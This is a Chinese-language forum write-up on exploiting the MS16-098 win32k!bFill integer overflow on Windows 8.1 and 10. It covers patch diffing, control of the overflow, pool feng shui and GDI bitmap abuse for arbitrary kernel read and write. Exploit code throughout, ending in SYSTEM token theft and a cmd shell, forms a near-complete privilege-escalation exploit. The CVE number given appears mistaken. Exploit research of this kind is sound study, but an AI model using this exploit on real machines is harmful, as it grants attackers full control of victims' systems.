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补丁分析到滥用GDI对象提权实践

yumoqaq 看雪学苑 2022-07-13


本文为看雪论坛精华文章
看雪论坛作者ID:yumoqaq


此漏洞编号 CVE-2016-3099 、MS16-098

实验环境




补丁对比


win8.1 win32k!bFill 函数
左边为修复后,右边为修复前。
 
很明显可以看出,修复后增加了安全的乘法函数,所以呢,修复前的问题大概是乘法导致的溢出。
这里可以看到,eax = [rbx+4] = [EPATHOBJ + 4] ,很明显,如果 [rbx+4] 的值能控制,它必定会造成整数溢出,因为它使用32位的寄存器,会截断高位数据,[rbx+4]这个值是什么并不重要,重要的怎么能操作它。

到达脆弱函数


经过一番查找与跟踪,最后得到了三环到零环的调用流程。
 
FillPath(HDC hdc) -> NtGdiFillPath(HDC) -> xxx -> EngFillPath -> EngFastFill -> xxx -> bFill调用脆弱的函数
 
PolylineTo->NtGdiPolyPolyDraw->GrePolylineTo->EPATHOBJ::bPolyLineTo用来溢出
 
查阅MSDN文档与百度可知,想要调用FillPath函数,需要BeginPath与EndPath函数中间调用绘图函数(猝)。
 
在调用bFill的过程中,会有对于DC句柄的判断,发现DC有几种类型:
可以看到内存类型,支持位图上的绘图操作,看起来像是我们需要的,好的,测试一下是否可以到达此函数(当然 使用别的绘图函数一样可以到达)。
HDC hdc = GetDC(NULL); HDC hMemDC = CreateCompatibleDC(hdc); HGDIOBJ bitmap = CreateBitmap(0x60, 0x20, 1, 32, NULL); HGDIOBJ bitobj = SelectObject(hMemDC, bitmap); static POINT points[2]; for (int i = 0; i < 2; i++) { points[i].x = 0x6020; points[i].y = 0x6020; } BeginPath(hMemDC); for (int j = 0; j < 2; j++) PolylineTo(hMemDC, points, 2); EndPath(hMemDC); FillPath(hMemDC);

这份代码并不能到达脆弱函数,经过分析,在bEngFastFillEnum函数中两次对 [EPATHOBJ + 4] 的内容进行判断,而这个内容经过查找资料,就是PATH对象的点数(对GDI开发不懂,貌似是这样)。
 
值得一提的是,某个地方会把 [EPATHOBJ + 4] + 1 ,好的,事情就是这样,把points数组弄大一点调用即可(当然,调用别的绘图函数也可以)。
 
修改代码后运行,成功断下。
 
windbg必须使用 ba 命令下断, 不然无法断下 ,断下第一次以后就不会出现无效内存的情况,调用堆栈如下:
win32k!bFillwin32k!bEngFastFillEnum+0xcdwin32k!bPaintPath+0xd4win32k!EngFastFill+0x97win32k!EngFillPath+0x12cwin32k!EPATHOBJ::bSimpleFill+0x130win32k!EPATHOBJ::bStrokeAndOrFill+0x2ffwin32k!NtGdiFillPath+0x8ent!KiSystemServiceCopyEnd+0x13

溢出值的控制


在我们成功找到到达脆弱函数的方法后,考虑一下如何来控制溢出的值。
 
经过前面的分析,[EPATHOBJ + 4] 是 points数组的大小 ,它的值在于PolylineTo的调用,分析一下。
可以看到在这里会对[EPATHOBJ + 4]进行 ADD操作, 源操作数为三环传来的 第三个参数。
 
那么他们的关系会是这样(前面看到过都是使用4字节的寄存器):
 
0xFFFFFFFF / 3 = 0x5555556
 
0x5555556 / 3 = 0x3FE01 * 0x156
 
因式分解后,我们调用156次PolylineTo,并且它的第三个参数应为0x3FE01,所以points数组的数量也是0x3FE01。
 
之前分析过它会+1,所以最后会得到0x55555557 * 3 << 4 = 0x50。
 
所以现在会造成,分配了50字节大小的空间 ,修改代码进行尝试。
kd> gBreakpoint 1 hitwin32k!bFill+0x377:fffff960`00361c77 8d0c40 lea ecx,[rax+rax*2]kd> r raxrax=0000000005555557 ....kd> r ecxecx = 50... kd> !pool fffff90141c2a380Pool page fffff90141c2a380 region is Paged session pool*fffff90141c2a370 size: 60 previous size: d0 (Allocated) *Gedg Pooltag Gedg : GDITAG_EDGE, Binary : win32k!bFill

好的,看来之前的分析是正确的,最后得到了50作为参数去申请内存。
 
查看申请的内存,分页内存池,pool tag为 Gedg ,对象为 EDGE。
fffff901`67646547 : nt!ExFreePoolWithTag+0x124ffffff803`22940c6f : win32k!bFill+0x4f0

之后在bFill中释放此内存会蓝屏,原因为 BAD_POOL_HEADER ,应该是因为缓冲区太小,写到范围外了。
 
此时考虑这个溢出写能否控制,如果不能都是废话。

逆向分析构造函数


首先就是这个函数bConstructGET , 先看一下这个函数的参数。
kd> dq rcx 第一个参数 EPATHOBJ*ffffd001`5c2bea90 05555557`00000000 fffff901`41e14ba0ffffd001`5c2beaa0 00000000`00000000 00000000`00000000ffffd001`5c2beab0 00000000`00000000 00000000`00000000ffffd001`5c2beac0 ffffe001`00000000 00000000`00000000 kd> dq rdx 第二个参数 struct EDGE *ffffd001`5c2bdcb8 fffffa80`008c23e0 ffff3295`00000001ffffd001`5c2bdcc8 fffff802`5a71c58b ffff3295`593af6a5ffffd001`5c2bdcd8 00000000`00000000 0000e001`94bdc880ffffd001`5c2bdce8 0000d001`5c2be240 0000d001`5b68cc00 kd> dq r8 第三个参数 struct EDGE * 这是溢出申请的fffff901`407bd780 00000000`00000000 00000000`00000000fffff901`407bd790 fffff901`41c15440 00000000`00000000fffff901`407bd7a0 00000030`00000000 00000000`0001003bfffff901`407bd7b0 00000000`00000001 00000000`00000003 kd> dd r9 第四个参数 struct _RECTL *ffffd001`5c2bdd08 fffffb30 00000000 00000019 00000200ffffd001`5c2bdd18 5a7386d9 fffff802 5b68cc00 ffffd001
进来以后r8给r15,这是前面溢出申请的内存,把它命名为 buf。
kd> dd rbx L50 fffff901`41c37028 41c3a028 fffff901 00000000 00000000fffff901`41c37038 00000001 000001f2 00000000 00000000 //rdi指向1f2后边的位置fffff901`41c37048 00060200 00060200 00060200 00060200fffff901`41c37058 00060200 00060200 00060200 00060200fffff901`41c37068 00060200 00060200 00060200 00060200fffff901`41c37078 00060200 00060200 00060200 00060200fffff901`41c37088 00060200 00060200 00060200 00060200fffff901`41c37098 00060200 00060200 00060200 00060200

这里可以看到内存的情况,rbx像是一个结构体,前面三个8字节的值,然后就是points数组。
 
1F2代表的是points数组的项数,1貌似是一个flag,第一个8字节的地址像是单向链表。
 
这里还可以看到,我们在三环的points数组,在这里值变为了 60200 ,数量也只有1F2个,但是通过add rdi,8可以看出来,这个东西是以8字节为步进,猜测对应三环的point的x和y值。
 
同时rdi指向了一个8字节为0的point,之前分析过,我们的点数会加1,应该就是这个0点了。
 
继续分析:
这里在对步进的指针 rdi 与 r14 数组的结束地址 进行判断 , 如果没到结束的地址则一直调用 AddEdgeToGet。
 
好的,进去看看。
 
 
这里有个分支,可以看到,这里可以通过操控point的值,来达到在 buf+0x28的位置写入 1 或者 FFFFFFFF。
 
但是这个明显没有超过0x50大小的buf,继续分析看看。
往下走,会拿rect的两个成员来与point的某些值比较,这里有直接退出的机会。
 
然后比较关键的比较就是这里。
这里也有赋值0xFFFFFFFF的机会,但是还没有发现是怎么溢出写的。
可以看到在退出的地方,会移动0x30的指针位置,另外一种路线退出则不会移动此指针,也就是说,我们可以通过控制point的xy值,来达到控制写入,写入到附近几个页肯定是没有问题的,在完成写入后,则控制程序流程走左边的路线返回,不会破坏更多的内存。
 
之后返回继续分析。
kd> dq rax-30 //返回值 - 30 正好对应申请的缓冲区fffff901`407bd780 ffffd001`5c2bdcb8 00000000`00000020fffff901`407bd790 ffffffff`00000000 00602000`00000000fffff901`407bd7a0 00000001`00000001 00000000`00000001fffff901`407bd7b0 00000000`00000001 00000000`00000003

 
现在找到了溢出写的可能性,申请了0x50的buf,每次添加EDGE结构会加0x30,1F2个能溢出好几个页了。
 
按照正常流程来走,直到1F2个point转换为 EDGE 后 ,会往下面走,结束的条件是线程是否将要被终止,或者rbx的值是否为0,在我调试的过程中,它会出现很多意外的蓝屏,可能这个东西是多线程来操作的?调试影响了线程同步的一些操作?
 
不清楚,但不影响我们继续。
 
先总结一下如何控制执行流程:
 
1.第一次进入必定会添加一个EDGE结构,因为系统添加了0点,此时返回的指针+0x30,并且两个临时指针都+8。
 
2.RECT是一个固定的结构,调试可得到数据,想要返回指针不移动,必须让 points[i+1].y < 0 and points[i].y > 0x1F0。
 
3.想要返回的指针移动0x30,只需要避免 points[i+1].y < 0 and points[i].y > 0x1F0 或者 points[i].y > points[i+1].y。
 
4.我们的目标是写入0xFFFFFFFF的值到某个地址(为什么稍后再说),查看写入0xFFFFFFFF的流程,发现只要没有直接退出,那么有几个地方都会被设置为0xFFFFFFFF,分别是:

points[i+1].x >= points[i].x 则 buf+0x14 = 0xFFFFFFFF

points[i+1].x < points[i].x 则 buf+0x24 = 0xFFFFFFFF

points[i+1].y < points[i].y 则 buf+0x28 = 0xFFFFFFFF

 
5.现在可以尝试控制流程来测试我们的分析是否正确,只需查看buf附近的内存即可,还有一个不清楚的地方,为什么被转换为1F2个点,并且值都会增大一个0,是否可以通过三环正常控制。
 
注:以上为初步分析 心里有数即可。

控制程序执行流程的测试


第一步:首先需要确定的是,三环的点是否对应0环的点,修改代码后测试,数据如下:

kd> dq fffff901`407fe028fffff901`407fe028 fffff901`41c02028 00000000`00000000fffff901`407fe038 000001f2`00000001 00000000`00000000fffff901`407fe048 00000010`00000010 00000020`00000020fffff901`407fe058 00000030`00000030 00000040`00000040fffff901`407fe068 00000050`00000050 00000060`00000060fffff901`407fe078 00000070`00000070 00000080`00000080fffff901`407fe088 00000090`00000090 000000a0`000000a0fffff901`407fe098 000000b0`000000b0 000000c0`000000c0 kd> dq fffff901`407fe028 + 1F4 * 8fffff901`407fefc8 00001f10`00001f10

经过第一步的测试,我们发现0环的点数,确实与三环相对应,且会增大0x10倍,结尾处的值对应第1F1项,推测点数还是0x55555557个不会变。
 
同时这里可以看到,它的首8字节内容是自己,前面分析过,就是根据这个值是否为0来结束循环,所以此处应该是死循环,直到线程即将被结束,好吧,可能有某种线程同步机制?无所谓,并不影响我们利用,只要它能达到预期的目标就行。

第二步:现在尝试对 buf+0x90的位置进行溢出写操作,根据之前的分析修改代码来进行测试。

 
第一次进入必定会造成 buf 指针移动0x30 ,所以我们在第二次进入时控制它进入移动buf指针的流程,前面分析过,他会与RECT的bottom进行比较,这个值为0x1F0 , 而我们传入的值,在0环会乘0x10 , 并且都是大于0的值,所以只需要简单修改两项的y值即可,这样不出意外,会把buf指针移动到 buf+0x90的位置。
points[0].y = 0x10;points[1].y = 0x11;

现在的数据如下:
kd> dd fffff901`400c1028fffff901`400c1028 407da028 fffff901 00000000 00000000fffff901`400c1038 00000001 000001f2 00000000 00000000fffff901`400c1048 00060200 00000100 00060200 00000110

执行后的返回值:
bufaddr = fffff90141c464b0第一次 rax=fffff90141c464e0第二次 rax=fffff90141c46510第三次 rax=fffff90141c46540第四次 rax=fffff90141c46540第五次 rax=fffff90141c46540

好的,现在到了buf+0x90的位置以后,继续执行,地址并没有增加,这说明我们之前的分析是正确的,决定buf地址是否增加的因素只有:
 
points[i+1].y < 0 || points[i].y > 0x1F0 成立则地址不增加
 
points[i+1].y >= 0 && points[i].y < 0x1F0 成立则地址增加0x30


第三步:现在我们已经可以控制要写到哪个地址,大小应为0x55555557 * 0x30 ,接下来需要确定我们要写入的地址,之前说过要写入0xFFFFFFFF,这是因为需要利用 GDI 对象来实现内核的任意读写。

 
但是想要利用GDI对象,不得不使用内核内存布局的技术,与GDI对象利用的方法,这正是我们接下来要讨论的。

利用GDI对象


这里要使用 bitmap对象来实现内核的任意读写,它在内核中的结构如下所示:
typedef struct { ULONG64 dhsurf; // 0x00 ULONG64 hsurf; // 0x08 ULONG64 dhpdev; // 0x10 ULONG64 hdev; // 0x18 SIZEL sizlBitmap; // 0x20 ULONG64 cjBits; // 0x28 ULONG64 pvBits; // 0x30 ULONG64 pvScan0; // 0x38 ULONG32 lDelta; // 0x40 ULONG32 iUniq; // 0x44 ULONG32 iBitmapFormat; // 0x48 USHORT iType; // 0x4C USHORT fjBitmap; // 0x4E} SURFOBJ64; // sizeof = 0x50

要利用的成员为sizlBitmap与pvScan0 ,sizlBitmap 是位图的宽度和高度,pvScan0 是指向位图数据开头的指针。
 
可以通过溢出到sizlBitmap来扩展位图可操作的内存大小,来修改下一个位图对象的pvScan0指针,这样就可以进行任意内存读写了。
 
此处更适合用图片来表达,引用一下图片:
 
 
简单解释一下,我们可以通过合理的内核内存布局来溢出写入到 bitmapA的sizlBitmap成员,这样bitmapA就可以操作 bitmapB的pvScan0指针,然后再通过bitmapB的pvScan0指针来实现任意内存读写。
 
也就是bitmapA作为管理者的位图,bitmapB作为工作者的位图,管理位图负责控制工作位图的pvScan0指针,工作位图负责去依靠pvScan0指针读写任意内存。

内核内存布局


外国人把这个技术叫做内核池风水,刚看的时候很奇怪,风水不是中国文化吗。

这个技术要解决两个问题:在溢出写后,不触发pool header 检查,只需要将buf布置到页面末尾即可,它只检查本页的pool header。

合理布局GDI对象的位置,以达到后续目的。


这个技术需要注意的问题:核池页面大小为 0x1000 字节,任何更大的分配都将分配给大的内核池。

任何大于 0x808 的分配都将分配到内存页面的开头。后续分配将从页面末尾开始分配。分配需要是相同的池类型,在本例中是分页会话池。


分配对象通常会添加大小为 0x10 的池标头。如果分配的对象是 0x50,实际上会分配 0x60大小的内存。


整理一下利用思路:
 
1.通过申请与释放GDI对象,使内核分页池的布局在我们的控制中。
 
2.计算分配位置,使溢出的时候,刚好用0xFFFFFFFF覆盖sizlBitmap成员。
 
3.通过三环函数,获取到被溢出修改的对象,使它成为管理对象。
 
4.使用管理对象,修改相邻的bitmap对象的pvScan0指针,使它称为工作对象。
 
5.通过管理对象与工作对象的搭配,达到任意读写内核内存的目的。
 
6.恢复被溢出的pool header等重要数据,防止蓝屏。
 
7.窃取系统进程Token(窃取是指此方法可绕过所有内核安全机制)。
 
布局概览:引用一个动图来说明。

GDI对象大小计算分析


bitmap对象


不得不解决一个问题,GDI对象的大小问题,浅浅分析一下吧。
 
分析过程不提了,最后得到的bitmap在win8.1上面的大小计算公式为:
 
size = (((Width+3) & 0xFFFFFFFC) * Height) + 0x258 经过第一步计算,得到的值必定为4的倍数。
 
size = size % 16 ? size + (0x10 - (size % 16)) : size 第二次计算在申请内存的函数,如果地址不是16字节对齐的,会让它对齐(这部分在内核中实现 我推测的)。
 
最后再加pool header 0x10的大小。
 
分析是在CreateBitmap(x,y ,1, 8, NULL) x y 为变量,后三个参数固定的情况下分析,如果改变,会影响switch case的选择,当然大小计算方式就会改变。
 
bitmap对象的最小值肯定不会低于 0x258+0x10。

AcceleratorTable


加速表对象,这是一个用户对象,大小分配计算公式为:
 
size = cAccel * 3 * 2 + 0x22 分析得出
 
size = size % 16 ? size + (0x10 - (size % 16)) : size 推测得出,前面也是这样,可能内核确实是这样设计的。
 
最后再加pool header 0x10的大小;最小值,肯定不会低于0x22+0x10。

EllipticRgn


还需要用到一个与bitmap无关的区域对象(同时它可以用来泄露内核地址,但是也无所谓,泄露内核地址的方法多的是)懒得分析了,测试以后发现,第一个参数与第二个参数为0x79即可申请到0xBC0的大小。


内核池风水代码


有了准确的大小计算公式,风水反而成了最简单的部分。
void fengshui(){ //申请两千个大小为0xFA0的 bitmap对象 for (int i = 0; i < 2000; i++) { bitmaps[i] = CreateBitmap(0xD18, 1, 1, 8, NULL); } //填补剩下的0x80的空洞 ACCEL accel[12] = { 0 }; for (int i = 0; i < 2000; i++) { hAccel[i] = CreateAcceleratorTableA(accel, 12); } //释放0xF80的空间 for (int i = 0; i < 2000; i++) { DeleteObject(bitmaps[i]); } //用一个较大的对象来占坑0xBC0的空间 for (int i = 0; i < 2000; i++) { CreateEllipticRgn(0x79, 0x79, 1, 1); //size = 0xbc0 } //重新用bitmap对象占坑0x3C0的空间 for (int i = 0; i < 2000; i++) { bitmaps[i] = CreateBitmap(0x158, 1, 1, 8, NULL); } //抢占一些0x60大小的空间 ACCEL accel2[7] = { 0 }; for (int i = 0; i < 1000; i++) { hAccel2[i] = CreateAcceleratorTableA(accel2, 7); } //释放一些0x80大小的ACCEL对象留下空洞 for (int i = 1000; i < 1500; i++) { DestroyAcceleratorTable(hAccel[i]); }}


测试结果


在bFill中申请内存的地方下断,查看返回值。
kd> r raxrax=fffff90142855fb0kd> !pool raxPool page fffff90142855fb0 region is Paged session pool fffff90142855000 size: bc0 previous size: 0 (Allocated) Gh14 fffff90142855bc0 size: 3c0 previous size: bc0 (Allocated) Gh15 fffff90142855f80 size: 20 previous size: 3c0 (Free) Free*fffff90142855fa0 size: 60 previous size: 20 (Allocated) *Gedg Pooltag Gedg : GDITAG_EDGE, Binary : win32k!bFill kd> !pool rax+1000Pool page fffff90142856fb0 region is Paged session pool fffff90142856000 size: bc0 previous size: 0 (Allocated) Gh14 fffff90142856bc0 size: 3c0 previous size: bc0 (Allocated) Gh15 fffff90142856f80 size: 20 previous size: 3c0 (Free) Free*fffff90142856fa0 size: 60 previous size: 20 (Free ) *Usha kd> !pool rax+2000Pool page fffff90142857fb0 region is Paged session pool fffff90142857000 size: bc0 previous size: 0 (Allocated) Gh14 fffff90142857bc0 size: 3c0 previous size: bc0 (Allocated) Gh15*fffff90142857f80 size: 80 previous size: 3c0 (Free) *Usac

好的好的,现在已经避免了bFill中的释放内存蓝屏,并且我们的溢出利用布局也已经成功。
 
接下来研究一下如何控制溢出,使它正好覆盖到关键数据。


溢出写的控制


首先了解一下bitmap对象的布局。
typedef struct { ULONG64 hHmgr; ULONG32 ulShareCount; WORD cExclusiveLock; WORD BaseFlags; ULONG64 Tid;} BASEOBJECT64; // sizeof = 0x18 typedef struct { BASEOBJECT64 BaseObject; // 0x00 SURFOBJ64 SurfObj; // 0x18 [...] } SURFACE64; typedef struct { ULONG64 dhsurf; // 0x00 ULONG64 hsurf; // 0x08 ULONG64 dhpdev; // 0x10 ULONG64 hdev; // 0x18 SIZEL sizlBitmap; // 0x20 ULONG64 cjBits; // 0x28 ULONG64 pvBits; // 0x30 ULONG64 pvScan0; // 0x38 ULONG32 lDelta; // 0x40 ULONG32 iUniq; // 0x44 ULONG32 iBitmapFormat; // 0x48 USHORT iType; // 0x4C USHORT fjBitmap; // 0x4E} SURFOBJ64; // sizeof = 0x50

简单说一下对这个玩意的分析,在+258之前的大小,是位图数据所占的大小,+258之后,首先是18字节的BaseObject,然后是50字节的SURFOBJ64,然后是0x258-0x68大小的一些不知道什么数据。
 
观察pvScan0指针可知,它所指向的位置是在BaseObject为起点,偏移0x258的位置,正好是位图数据,好的,一切那么的合适。
 
所以最终的覆盖sizlBitmap的距离为 0x50 + 0xBC0 + 0x10 + 0x18 + 0x20 = 0xC58。
 
sizlBitmap是两个DWORD值,所以最后覆盖这8字节范围都是可以的。
 
然后根据我们能溢出写0xFFFFFFFF的偏移,来计算应该移动buf指针多少次。
 
buf+0x14 = 0xFFFFFFFF
 
buf+0x24 = 0xFFFFFFFF
 
buf+0x28 = 0xFFFFFFFF
 
还记着之前分析过,总共有三个地方,看哪个地方比较合适。
 
简单计算一下,得到 0x41 * 0x30 = 0xC30 ,刚好有buf+0x28 = 0xFFFFFFFF , 好的,就按这个来构造。
 
前面分析过,第一次是必定会移动指针,所以,我们还需要构造0x40次移动,然后根据分析出来的条件设置数据。


再次分析程序流程


重新整理一下条件。让buf指针不移动的构造:
 
1.points[i+1].y >= points[i].y
 
2.points[i].y >= 0x1F
 
让buf指针移动0x30的正常构造:
 
1.points[i+1].y >= points[i].y
 
2.points[i+1].y >= 0
 
3.points[i].y <= 0x1F
 
4.points[i].y >= 0
 
5.points[i+1].y >= 0x1F
 
0xFFFFFFFF的写入且buf指针不移动:
 
1.points[i+1].y < points[i].y
 
2.points[i+1].y >= 0x1F


代码如下:

for (int i = 0; i < 0x3FE00; i++) { points[i].x = 0x6020; points[i].y = 0x6020;}points[2].y = 0x14;points[0x3FE00].y = 0x5020; for (int i = 0; i < 0x156; i++){ if (i == 0x40) { points[2].y = 0x6020; } PolylineTo(hMemDC, points, 0x3FE01);}

你会发现这样刚好满足所有条件,但是结果并不是我们期望中的,虽然成功修改了sizlBitmap,但是很明显,后面还是继续移动buf指针了,这是为什么呢?
kd> dq fffff901716bbfb0+0xC30fffff901`716bcbe0 fffff901`716bcbb0 00006020`0000000cfffff901`716bcbf0 ffffffff`00000014 00600c00`00000000fffff901`716bcc00 00000001`00000000 00000001`fffffffffffff901`716bcc10 fffff901`716bcbe0 00006020`0000000cfffff901`716bcc20 ffffffff`00000014 00600c00`00000000fffff901`716bcc30 00000001`00000000 00000000`00000001fffff901`716bcc40 fffff901`716bcc10 00006020`0000000cfffff901`716bcc50 ffffffff`00000014 00600c00`00000000

我们之前把points[2].y 当成了 points[i].y 来构造,但是points[2].y 作为 points[i+1].y的时候会是什么情况?
 
points[i+1].y = 0x14 造成的判断逻辑:
 
1.points[i+1].y < points[i].y
 
2.points[i+1].y >= 0
 
3.points[i+1].y < 0x1F
 
有了这三个条件,成功进入了buf指针移动0x30的流程,只不过是设置buf + 0x28 = 0xFFFFFFFF的分支。
 
那接下来修改一下我们的条件,少一半就可以了呗。
if (i == 0x20){ points[2].y = 0x6020;}

对比一下修改前后的数据。
kd> dq fffff901715c8bc0+10fffff901`715c8bd0 00000000`010515dd 00000000`00000000fffff901`715c8be0 00000000`00000000 00000000`00000000fffff901`715c8bf0 00000000`010515dd 00000000`00000000fffff901`715c8c00 00000000`00000000 00000001`00000158fffff901`715c8c10 00000000`00000158 fffff901`715c8e28fffff901`715c8c20 fffff901`715c8e28 00001e2d`00000158fffff901`715c8c30 00010000`00000003 00000000`00000000fffff901`715c8c40 00000000`04800200 00000000`00000000


kd> dq fffff901715c7fb0 + c30fffff901`715c8be0 fffff901`715c7fb0 00000000`00000020fffff901`715c8bf0 ffffffff`00000000 00502000`00000000fffff901`715c8c00 00000001`00000000 00000001`fffffffffffff901`715c8c10 00000000`00000158 fffff901`715c8e28fffff901`715c8c20 fffff901`715c8e28 00001e2d`00000158fffff901`715c8c30 00010000`00000003 00000000`00000000fffff901`715c8c40 00000000`04800200 00000000`00000000fffff901`715c8c50 00000000`00000000 00000000`00000000

成功控制溢出,可以看到最后一次修改就是在 buf + 0xC30的位置,大小为0x30,后面数据都没被修改。
 
但是此结构的一些数据被修改。


获取管理与工作位图


使用GetBitmapBits 获取读取的大小判断即可,如果大小超过我们设置的大小,那么它就是管理位图,下一个就是工作位图。
BYTE bitmapdata[0x1000] = { 0 }; for (int i = 0; i < Count; i++) { res = GetBitmapBits(bitmaps[i], 0x1000, bitmapdata); if (res > 0x158) { hManager = bitmaps[i]; hWorker = bitmaps[i + 1]; break; } }

你以为这样就能成功了?
 
上述代码调用后,总会出现有一个返回值为0的情况,这是为什么呢,经过一番分析,返回值为0的时候,正好对应被我们溢出的位图,按道理来说读取的数据大小应该会很大,但实际上最后会刚好返回0值。
 
逆向分析GetBitmapBits的底层发现,关键性的计算数据,是创建位图时的bitcount,我们之前使用的是8,现在需要改成32了,同时发现bitmap读取的数据最大值为1FFFFFFE(不详细解释了)。
 
好吧,分析了这么多了,不差再分析一下bitcount为32时的大小计算方式:
 
size = width * 4 * height + 0x258
 
后面还是正常对齐,所以申请0x3C0的bitmap时,应该是这样:
CreateBitmap(0x54, 1, 1, 32, NULL);

修改后运行,蓝屏了。
win32k!PDEVOBJ::bAllowShareAccess+0x3win32k!NEEDGRELOCK::vLock+0x1dwin32k!GreGetBitmapBits+0xf8win32k!NtGdiGetBitmapBits+0xab

这函数我已经分析过了,很简单。
rcx是hdev,前面已经被覆盖为00000001`00000000 了,这刚好是个三环地址,在读取0x38的位置时,访问了无效内存导致蓝屏,在这个位置申请内存,并把值设置为1,别让它返回0即可。
LPVOID xBuf = VirtualAlloc((LPVOID)0x100000000, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);memset(xBuf, 1, 0x100);


修复溢出的Header

kd> dq fffff901715c7000 + 2000 //工作位图的页 通过0x40偏移处的数据泄露内核地址fffff901`715c9000 34316847`23bc0000 3a99d16a`77af8d66fffff901`715c9010 00000000`0204117e 00000000`00000000fffff901`715c9020 00000000`00000000 00000000`00000bb0fffff901`715c9030 00000000`00000000 fffff901`715c9740fffff901`715c9040 fffff901`715c9040 fffff901`715c9040fffff901`715c9050 00000000`00000d18 fffff901`715c9268fffff901`715c9060 00000049`00000730 00000001`00000001fffff901`715c9070 00000078`00000078 80000000`00000000

kd> dq fffff901`715c9e28 - 258 //下一个位图的pvScan0指针 - 258 就是位图开始的位置fffff901`715c9bd0 00000000`010515de 00000000`00000000fffff901`715c9be0 00000000`00000000 00000000`00000000fffff901`715c9bf0 00000000`010515de 00000000`00000000fffff901`715c9c00 00000000`00000000 00000001`00000158fffff901`715c9c10 00000000`00000158 fffff901`715c9e28fffff901`715c9c20 fffff901`715c9e28 00001e2e`00000158fffff901`715c9c30 00010000`00000003 00000000`00000000fffff901`715c9c40 00000000`04800200 00000000`00000000

利用区域对象泄露内核地址,读取这个地址,经过计算偏移,读取正常的pool header把被溢出的部分修改好就行了。
//修复溢出的pool header//泄露内核地址BYTE leakAddr[0x8] = { 0 };for (int i = 0; i < 8; i++){ leakAddr[i] = bitmapdata[0x218 + i];} ULONG_PTR kernelAddr = *(ULONG_PTR*)leakAddr;kernelAddr = kernelAddr & 0xFFFFFFFFFFFFF000LL;kernelAddr -= 0x1000;printf("kernelAddr : %p\n", kernelAddr); for (int i = 0; i < 8; i++){ leakAddr[i] = ((char*)&kernelAddr)[i];} //恢复区域对象的池头 SetRWAddr(leakAddr);WriteAddr(&(bitmapdata[0x1D8]),0x10); //恢复位图对象的池头kernelAddr += 0xBC0;printf("kernelAddr : %p\n", kernelAddr); for (int i = 0; i < 8; i++){ leakAddr[i] = ((char*)&kernelAddr)[i];}SetRWAddr(leakAddr);WriteAddr(&(bitmapdata[0xD98]), 0x10); //一切都没问题 开始提权ULONG64 psys = GetSystemProcess();PrivilegeEscalation(psys, GetCurrerntProcess(psys)); //system shellsystem("cmd");


提权


有任意读写原语以后,一切都是那么的随意,提权且不蓝,perfect!


Win10上的重现


首先查看win32kfull!bFill函数,发现与win8.1一模一样的漏洞函数。
 
好吧,不用多说了,经过分析,使用到的GDI对象大小计算方式与win8.1一模一样,所以只需要调整EPROCESS相关偏移。
 
值得一提的是,这个版本的 !pool 命令失效了,原因未知哦。




看雪ID:yumoqaq

https://bbs.pediy.com/user-home-930159.htm

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